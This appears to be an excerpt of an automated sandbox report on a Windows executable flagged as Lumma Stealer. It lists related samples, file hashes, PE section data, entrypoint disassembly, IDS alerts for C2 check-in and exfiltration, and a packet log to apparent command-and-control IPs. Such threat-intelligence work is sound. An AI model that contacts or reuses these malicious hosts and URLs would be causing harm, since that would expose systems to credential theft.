	SecuriteInfo.com.Win64.Malware-gen.4046.15809.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	S92Ayq3U9A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	D18h1ni3ZU.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	172.67.170.64
	order confirmation.exe	Get hash	malicious	DBatLoader, FormBook	Browse	172.67.170.64
	Flech.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	8itMk7loon.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	S92Ayq3U9A.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	BmWYNo1MMZ.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	D18h1ni3ZU.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

Process:	C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2811904
Entropy (8bit):	6.522811065396152
Encrypted:	false
SSDEEP:	49152:7b3HM5wtu6GVB2cvUmshNLFMECWaOGfAu:7bM5wI6OM9hNL6ECnO9u
MD5:	EE9819111F122A1721A97FCC6C77A7F0
SHA1:	79749D3EB6B28AD22F3CA4495C6DD8A11D6D3318
SHA-256:	867DE8DC75639AD939DF9A06273B114E9422DA18C2452A7CBC0B15C293A29910
SHA-512:	62C746A2FC79CE7CA082191947466C66FC408EAFCF60C2EC63B641C99A660DA05DB1760DDCA326AC9A5EDABBA1818A8D0463AD3AD7E3B45CC0C2B0DFD9301778
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......G+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...whplpvpi...........:..............@...yoktbieb. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.570250175903621
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'006'464 bytes
MD5:	4de2d02365f8c1587ba6cd4c60ed583c
SHA1:	d9cc0e947ba23d40e0dc5c22a8769e4c51ea5f5d
SHA256:	988d0d579cc79faac744cd7dfb04da46f67943eeb72f352065e26645fec2bf0a
SHA512:	154b2439af3f9e92badbf654c3febf867c912dface0e4130fe55ab0e3feda6a84eee73c01346c25a02c700f6ff881c09d00fb1ad253f05aeca5ad274be370e9c
SSDEEP:	24576:eKIjGYyDOIu19TP8c5eNBuXVJIb3lRAFogArwRXJtgXuQkmNc/hiBbOQy1m7mL6g:eKyFyDORTewJIb1eguOMyqiEHrHEM
TLSH:	1CD54CD1A909B9CFE48F66B88527CE43695E03FD4B1009C3A859B4BABDB3CC525F5C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@.......................... 1......?....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDD988617AAh
movsx ebp, byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	a708fd72677fc89c5fad12c3c4dbe60e	False	0.9980836108934169	data	7.9792575682107305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jgbrpryb	0x5b000	0x2b3000	0x2b2a00	270a02fccc105216896e7e2e235867fd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bwsaysku	0x30e000	0x1000	0x400	5e04350d8e46b3c001c5063e8826f265	False	0.865234375	data	6.583960638424561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30f000	0x3000	0x2200	4d0715f3e0a1e2bae9a258ee5e840d7e	False	0.07065716911764706	DOS executable (COM)	0.9044196751355389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T07:59:04.107024+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	172.67.170.64	443	TCP
2024-10-27T07:59:04.107024+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	172.67.170.64	443	TCP
2024-10-27T07:59:05.328292+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	172.67.170.64	443	TCP
2024-10-27T07:59:05.328292+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	172.67.170.64	443	TCP
2024-10-27T07:59:07.589101+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49712	172.67.170.64	443	TCP
2024-10-27T07:59:17.059544+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49744	172.67.170.64	443	TCP
2024-10-27T07:59:17.962462+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49750	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 07:59:02.894804955 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:02.894838095 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:02.894934893 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:02.940453053 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:02.940473080 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:03.570065022 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:03.570169926 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:03.574254036 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:03.574265957 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:03.574628115 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:03.624572039 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:03.632778883 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:03.632946968 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:03.632991076 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.107086897 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.107369900 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.107573986 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.109337091 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.109337091 CET	49709	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.109375954 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.109385014 CET	443	49709	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.196742058 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.196754932 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.196857929 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.197242022 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.197257042 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.819612026 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.819734097 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.820869923 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.820880890 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.821207047 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:04.822412014 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.822434902 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:04.822635889 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328288078 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328346968 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328397036 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.328404903 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328418970 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328433990 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328468084 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.328571081 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328689098 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.328700066 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.328737020 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.328922987 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.333483934 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.333534002 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.333539009 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.374608994 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.444974899 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445178032 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445251942 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.445264101 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445415020 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445508957 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.445513964 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445528030 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.445637941 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.446024895 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.446024895 CET	49710	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.446033955 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.446041107 CET	443	49710	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.941025019 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.941044092 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:05.941195011 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.941451073 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:05.941461086 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:06.550446033 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:06.550566912 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:06.552390099 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:06.552398920 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:06.552640915 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:06.554445028 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:06.554661989 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:06.554697990 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:07.589091063 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:07.589202881 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:07.589303017 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:07.589445114 CET	49712	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:07.589457035 CET	443	49712	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:07.735847950 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:07.735868931 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:07.735944033 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:07.736294031 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:07.736304998 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.378367901 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.378446102 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.380044937 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.380064011 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.380266905 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.381624937 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.381797075 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.381828070 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.381897926 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.381906986 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.948061943 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.948147058 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:08.948210955 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.950989962 CET	49713	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:08.951000929 CET	443	49713	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.169962883 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.169992924 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.170098066 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.170420885 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.170435905 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.824496031 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.824770927 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.826194048 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.826287031 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.827255011 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.828795910 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.828907013 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.828982115 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:09.829271078 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:09.829282045 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:10.378195047 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:10.378295898 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:10.378341913 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:10.378704071 CET	49714	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:10.378720045 CET	443	49714	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:10.802491903 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:10.802529097 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:10.802642107 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:10.802891016 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:10.802913904 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:11.448137999 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:11.448312044 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:11.449593067 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:11.449603081 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:11.449847937 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:11.451028109 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:11.451148033 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:11.451172113 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:12.741421938 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:12.741677999 CET	443	49716	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:12.741733074 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:12.743618965 CET	49716	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.243976116 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.244018078 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.244108915 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.244530916 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.244550943 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.876409054 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.876512051 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.877710104 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.877721071 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.878185034 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.879702091 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.880424023 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.880455971 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.880537987 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.880572081 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.880678892 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.880702019 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.880821943 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.880837917 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.880975008 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.881006002 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.881061077 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.881067038 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.881150961 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.881213903 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891292095 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.891415119 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891462088 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891482115 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891532898 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.891690969 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891725063 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891802073 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891810894 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.891849041 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.891967058 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.891999960 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:13.892043114 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:13.898124933 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:15.924817085 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:15.924918890 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:15.924994946 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:15.925390005 CET	49727	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:15.925405979 CET	443	49727	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:15.955230951 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:15.955270052 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:15.955364943 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:15.955791950 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:15.955806017 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:16.564462900 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:16.564554930 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:16.565929890 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:16.565944910 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:16.566200972 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:16.567482948 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:16.567507029 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:16.567565918 CET	443	49744	172.67.170.64	192.168.2.6
